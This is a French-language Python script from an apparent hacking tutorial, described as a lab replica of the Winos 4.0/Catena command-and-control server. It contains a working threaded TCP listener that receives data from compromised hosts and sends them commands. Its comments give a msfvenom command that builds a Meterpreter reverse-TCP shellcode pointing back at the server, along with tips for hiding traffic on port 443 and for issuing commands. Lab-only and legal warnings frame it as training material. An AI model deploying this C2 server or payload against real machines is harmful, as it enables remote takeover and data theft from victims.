# c2_server.py - Serveur C2 Local pour Catena/Winos 4.0 # Simule un serveur de commande et contrôle pour recevoir les connexions Meterpreter # À utiliser UNIQUEMENT dans un lab sécurisé (article 323-1 CP) # Par Platon-Y pour PCtamalou.fr # === CONTEXTE === # Ce script simule le serveur C2 de Winos 4.0, écoutant sur TCP 18856 (port typique # de l’attaque Catena). Il reçoit les données envoyées par le payload (Meterpreter) # et répond avec des commandes basiques, pour tester la communication dans ton lab. # === PRÉREQUIS === # - Ubuntu (192.168.1.8) ou Kali pour héberger le serveur # - Python 3 : sudo apt install python3 # - Réseau lab sécurisé : 192.168.1.6 (attaquant), 192.168.1.7 (cible), 192.168.1.8 (C2) # - Shellcode configuré pour pointer vers 192.168.1.8:18856 (voir shellcode.bin.txt) import socket import threading # Configuration du serveur HOST = '192.168.1.8' # IP du C2 (Ubuntu) PORT = 18856 # Port utilisé par Winos 4.0 def handle_client(conn, addr): """Gère une connexion client (cible).""" print(f"[C2] Nouvelle connexion de {addr}") try: while True: # Reçoit les données (1024 octets max) data = conn.recv(1024).decode(errors='ignore') if not data: print(f"[C2] Connexion fermée par {addr}") break print(f"[C2] Données reçues : {data}") # Envoie une réponse basique response = "Commande reçue : exécute payload" conn.send(response.encode()) except Exception as e: print(f"[C2] Erreur avec {addr} : {e}") finally: conn.close() def main(): """Configure et lance le serveur C2.""" # Crée un socket TCP server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Lie le socket à l’IP et au port try: server.bind((HOST, PORT)) except Exception as e: print(f"[C2] Erreur de bind : {e}") return # Écoute jusqu’à 5 connexions server.listen(5) print(f"[C2] Serveur actif sur {HOST}:{PORT}") # Accepte les connexions entrantes while True: try: conn, addr = server.accept() # Lance un thread pour gérer chaque client thread = threading.Thread(target=handle_client, args=(conn, addr)) thread.start() except KeyboardInterrupt: print("[C2] Arrêt du serveur") break except Exception as e: print(f"[C2] Erreur : {e}") server.close() if __name__ == "__main__": main() # === INSTRUCTIONS D'UTILISATION === # 1. Configure l’IP/port dans HOST/PORT selon ton lab. # 2. Lance le serveur sur Ubuntu/Kali : # python3 c2_server.py # 3. Génère un shellcode pointant vers ce C2 : # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=18856 -f raw -o /tmp/shellcode_c2.bin # 4. Exécute l’attaque via catena.nsi ou payload.ps1. # 5. Vérifie les logs dans la console du C2. # === ADAPTATION === # - Change HOST (ex. : 10.10.10.8) selon ton C2. # - Utilise PORT=443 pour HTTPS (ajoute SSL avec ssl.wrap_socket). # - Pour plus de commandes, modifie handle_client (ex. : envoie "whoami"). # === SÉCURITÉ === # Ce script est pour un lab sécurisé. Toute utilisation hors lab est illégale # (article 323-1 CP : 7 ans, 100 000 €). # === POUR LES NEWBIES === # Un C2, c’est le QG de l’attaquant. La cible (Windows) t’envoie des données, # et tu lui donnes des ordres, comme un général dans l’ombre. # === RESSOURCES LIÉES === # - index.html (#c2) : Détails sur le C2 # - shellcode.bin.txt : Shellcode pour se connecter au C2 # - catena.nsi, payload.ps1 : Déploiement du payload # "One shot, one kill : sois précis, sois éthique." - Platon-Y